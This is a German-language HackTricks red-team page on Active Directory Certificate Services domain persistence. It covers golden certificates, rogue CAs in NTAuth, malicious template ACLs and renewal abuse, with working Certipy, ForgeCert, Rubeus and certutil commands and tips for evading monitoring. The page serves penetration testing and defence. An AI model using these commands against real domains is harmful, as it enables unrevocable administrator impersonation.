AD CS Domänen-Persistenz

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Dies ist eine Zusammenfassung der Techniken zur Domänenpersistenz, die in https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf beschrieben sind. Siehe dort für weitere Details.

Fälschen von Zertifikaten mit gestohlenen CA-Zertifikaten (Golden Certificate) - DPERSIST1

Woran erkennt man, dass ein Zertifikat ein CA-Zertifikat ist?

Ein Zertifikat kann als CA-Zertifikat identifiziert werden, wenn mehrere Bedingungen erfüllt sind:

  • Das Zertifikat ist auf dem CA-Server gespeichert, wobei dessen privater Schlüssel durch die DPAPI der Maschine oder durch Hardware wie TPM/HSM geschützt ist, falls das Betriebssystem dies unterstützt.
  • Sowohl das Issuer- als auch das Subject-Feld des Zertifikats stimmen mit dem Distinguished Name der CA überein.
  • Eine “CA Version”-Erweiterung ist ausschließlich in CA-Zertifikaten vorhanden.
  • Dem Zertifikat fehlen Extended Key Usage (EKU)-Felder.

Um den privaten Schlüssel dieses Zertifikats zu extrahieren, ist das Tool certsrv.msc auf dem CA-Server über die eingebaute GUI die unterstützte Methode. Nichtsdestotrotz unterscheidet sich dieses Zertifikat nicht von anderen im System gespeicherten; daher können Methoden wie die THEFT2 technique zur Extraktion angewendet werden.

Das Zertifikat und der private Schlüssel können außerdem mit Certipy mittels des folgenden Befehls erhalten werden:

certipy ca 'corp.local/administrator@ca.corp.local' -hashes :123123.. -backup

Nach dem Erhalt des CA-Zertifikats und seines privaten Schlüssels im .pfx-Format können Tools wie ForgeCert verwendet werden, um gültige Zertifikate zu erzeugen:

# Generating a new certificate with ForgeCert
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123! --Subject "CN=User" --SubjectAltName localadmin@theshire.local --NewCertPath localadmin.pfx --NewCertPassword Password123!

# Generating a new certificate with certipy
certipy forge -ca-pfx CORP-DC-CA.pfx -upn administrator@corp.local -subject 'CN=Administrator,CN=Users,DC=CORP,DC=LOCAL'

# Authenticating using the new certificate with Rubeus
Rubeus.exe asktgt /user:localdomain /certificate:C:\ForgeCert\localadmin.pfx /password:Password123!

# Authenticating using the new certificate with certipy
certipy auth -pfx administrator_forged.pfx -dc-ip 172.16.126.128

Warning

Der Benutzer, auf den die Zertifikatsfälschung abzielt, muss aktiv sein und sich in Active Directory authentifizieren können, damit der Vorgang gelingt. Ein Zertifikat für spezielle Konten wie krbtgt zu fälschen ist wirkungslos.

Dieses gefälschte Zertifikat wird bis zum angegebenen Enddatum gültig sein und solange wie das Root CA-Zertifikat gültig ist (in der Regel 5 bis 10+ Jahre). Es ist auch für Maschinen gültig, sodass in Kombination mit S4U2Self ein Angreifer persistence auf jeder Domain-Maschine aufrechterhalten kann, solange das CA-Zertifikat gültig ist.
Außerdem können die mit dieser Methode erzeugten Zertifikate nicht widerrufen werden, da die CA nicht über sie informiert ist.

Operating under Strong Certificate Mapping Enforcement (2025+)

Seit dem 11. Februar 2025 (nach der Bereitstellung von KB5014754) verwenden Domain Controller standardmäßig Full Enforcement für certificate mappings. Praktisch bedeutet das, dass Ihre gefälschten Zertifikate entweder:

  • Eine starke Bindung an das Zielkonto enthalten (zum Beispiel die SID security extension), oder
  • Mit einer starken, expliziten Zuordnung des Zielobjekts im Attribut altSecurityIdentities gekoppelt sein.

Ein zuverlässiger Ansatz für persistence ist, ein gefälschtes Zertifikat auszustellen, das an die gestohlene Enterprise CA gekettet ist, und dann eine starke explizite Zuordnung zum victim principal hinzuzufügen:

# Example: map a forged cert to a target account using Issuer+Serial (strong mapping)
$Issuer  = 'DC=corp,DC=local,CN=CORP-DC-CA'           # reverse DN format expected by AD
$SerialR = '1200000000AC11000000002B'                  # serial in reversed byte order
$Map     = "X509:<I>$Issuer<SR>$SerialR"             # strong mapping format
Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}

Hinweise

  • Wenn Sie gefälschte Zertifikate erstellen können, die die SID security extension enthalten, werden diese selbst bei Full Enforcement implizit abgebildet. Andernfalls bevorzugen Sie explizite starke Mappings. Siehe account-persistence für mehr zu expliziten Mappings.
  • Widerruf hilft Verteidigern hier nicht: gefälschte Zertifikate sind der CA-Datenbank unbekannt und können daher nicht widerrufen werden.

Full-Enforcement compatible forging (SID-aware)

Aktualisierte Tools ermöglichen es, die SID direkt einzubetten, sodass golden certificates weiterhin nutzbar bleiben, selbst wenn DCs schwache Mappings ablehnen:

# Certify 2.0 integrates ForgeCert and can embed SID
Certify.exe forge --ca-pfx CORP-DC-CA.pfx --ca-pass Password123! \
--upn administrator@corp.local --sid S-1-5-21-1111111111-2222222222-3333333333-500 \
--outfile administrator_sid.pfx

# Certipy also supports SID in forged certs
certipy forge -ca-pfx CORP-DC-CA.pfx -upn administrator@corp.local \
-sid S-1-5-21-1111111111-2222222222-3333333333-500 -out administrator_sid.pfx

Indem Sie die SID einbetten, vermeiden Sie es, altSecurityIdentities anzufassen, was möglicherweise überwacht wird, und erfüllen trotzdem die strikten Mapping-Prüfungen.

Trusting Rogue CA Certificates - DPERSIST2

Das NTAuthCertificates-Objekt ist dafür vorgesehen, ein oder mehrere CA certificates in seinem cacertificate-Attribut zu enthalten, die von Active Directory (AD) genutzt werden. Der Verifizierungsprozess durch den domain controller umfasst die Prüfung des NTAuthCertificates-Objekts auf einen Eintrag, der mit der in dem Issuer-Feld des authentifizierenden certificate angegebenen CA specified übereinstimmt. Die Authentifizierung wird fortgesetzt, wenn ein Treffer gefunden wird.

Ein selbstsigniertes CA-Zertifikat kann von einem Angreifer zum NTAuthCertificates-Objekt hinzugefügt werden, vorausgesetzt, er hat Kontrolle über dieses AD-Objekt. Normalerweise dürfen nur Mitglieder der Gruppe Enterprise Admin, zusammen mit Domain Admins oder Administrators in der forest root’s domain, dieses Objekt ändern. Sie können das NTAuthCertificates-Objekt mit certutil.exe bearbeiten, z. B. mit dem Befehl certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA, oder indem sie das PKI Health Tool verwenden.

Weitere hilfreiche Befehle für diese Technik:

# Add/remove and inspect the Enterprise NTAuth store
certutil -enterprise -f -AddStore NTAuth C:\Temp\CERT.crt
certutil -enterprise -viewstore NTAuth
certutil -enterprise -delstore NTAuth <Thumbprint>

# (Optional) publish into AD CA containers to improve chain building across the forest
certutil -dspublish -f C:\Temp\CERT.crt RootCA          # CN=Certification Authorities
certutil -dspublish -f C:\Temp\CERT.crt CA               # CN=AIA

Diese Möglichkeit ist besonders relevant, wenn sie in Verbindung mit der zuvor beschriebenen Methode unter Verwendung von ForgeCert zur dynamischen Erstellung von Zertifikaten eingesetzt wird.

Post-2025 Mapping-Überlegungen: Das Platzieren einer rogue CA in NTAuth stellt nur Vertrauen in die ausstellende CA her. Um leaf certificates für die Anmeldung zu verwenden, wenn DCs in Full Enforcement sind, muss das Leaf entweder die SID-Sicherheits-Extension enthalten oder es muss eine starke explizite Abbildung auf dem Zielobjekt vorhanden sein (zum Beispiel Issuer+Serial in altSecurityIdentities). Siehe AD CS Account Persistence.

Bösartige Fehlkonfiguration - DPERSIST3

Möglichkeiten für persistence durch Sicherheitsdeskriptor-Änderungen an AD CS-Komponenten sind zahlreich. Die in der “Domain Escalation”-Sektion beschriebenen Änderungen können von einem Angreifer mit erhöhten Rechten böswillig umgesetzt werden. Dazu gehört das Hinzufügen von “control rights” (z. B. WriteOwner/WriteDACL/etc.) zu sensiblen Komponenten wie:

  • Das AD-Computerobjekt des CA-Servers
  • Der RPC/DCOM-Server des CA-Servers
  • Jedes nachgeordnete AD-Objekt oder Container in CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM> (z. B. der Certificate Templates container, der Certification Authorities container, das NTAuthCertificates-Objekt usw.)
  • AD-Gruppen, denen standardmäßig oder organisationsseitig Rechte zur Kontrolle von AD CS delegiert wurden (wie die eingebaute Cert Publishers-Gruppe und deren Mitglieder)

Ein Beispiel für eine bösartige Umsetzung wäre, dass ein Angreifer mit elevated permissions in der Domäne die Berechtigung WriteOwner zur Standard-User-Zertifikatvorlage hinzufügt, wobei der Angreifer selbst der Principal für dieses Recht ist. Um dies auszunutzen, würde der Angreifer zuerst den Besitzer der User-Vorlage auf sich selbst ändern. Anschließend würde das mspki-certificate-name-flag in der Vorlage auf 1 gesetzt, um ENROLLEE_SUPPLIES_SUBJECT zu aktivieren, wodurch ein Benutzer einen Subject Alternative Name in der Anfrage angeben kann. Danach könnte der Angreifer die Vorlage enrollen, einen Namen eines domain administrator als alternativen Namen wählen und das erworbene Zertifikat zur Authentifizierung als DA verwenden.

Praktische Stellschrauben, die Angreifer für langfristige Domain persistence setzen könnten (siehe AD CS Domain Escalation für vollständige Details und Erkennung):

  • CA-Policy-Flags, die SAN vom Antragsteller erlauben (z. B. Aktivierung von EDITF_ATTRIBUTESUBJECTALTNAME2). Dadurch bleiben ESC1-ähnliche Pfade ausnutzbar.
  • Template-DACLs oder Einstellungen, die eine zur Authentifizierung geeignete Ausstellung erlauben (z. B. Hinzufügen der EKU Client Authentication, Aktivierung von CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT).
  • Kontrolle über das NTAuthCertificates-Objekt oder die CA-Container, um bösartige Aussteller kontinuierlich wieder einzuführen, falls Verteidiger eine Bereinigung versuchen.

Tip

In gehärteten Umgebungen nach KB5014754 stellt das Kombinieren dieser Fehlkonfigurationen mit expliziten starken Zuordnungen (altSecurityIdentities) sicher, dass Ihre ausgestellten oder gefälschten Zertifikate weiterhin nutzbar sind, selbst wenn DCs starke Zuordnungen erzwingen.

Missbrauch der Zertifikatsverlängerung (ESC14) für persistence

Wenn Sie ein zur Authentifizierung geeignetes Zertifikat (oder ein Enrollment Agent-Zertifikat) kompromittieren, können Sie es unbegrenzt erneuern, solange die ausstellende Vorlage veröffentlicht bleibt und Ihre CA der Ausstellerkette weiterhin vertraut. Die Erneuerung behält die ursprünglichen Identitätsbindungen bei, verlängert jedoch die Gültigkeit, was die Entfernung erschwert, sofern nicht die Vorlage repariert oder die CA neu veröffentlicht wird.

# Renew a stolen user cert to extend validity
certipy req -ca CORP-DC-CA -template User -pfx stolen_user.pfx -renew -out user_renewed_2026.pfx

# Renew an on-behalf-of cert issued via an Enrollment Agent
certipy req -ca CORP-DC-CA -on-behalf-of 'CORP/victim' -pfx agent.pfx -renew -out victim_renewed.pfx

Wenn Domain-Controller in Full Enforcement sind, füge -sid <victim SID> hinzu (oder verwende eine Vorlage, die weiterhin die SID-Sicherheits-Extension enthält), damit das erneuerte Leaf-Zertifikat weiterhin stark zugeordnet wird, ohne altSecurityIdentities zu ändern. Angreifer mit CA-Admin-Rechten können außerdem policy\RenewalValidityPeriodUnits anpassen, um die Laufzeit erneuerter Zertifikate zu verlängern, bevor sie sich selbst ein cert ausstellen.

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks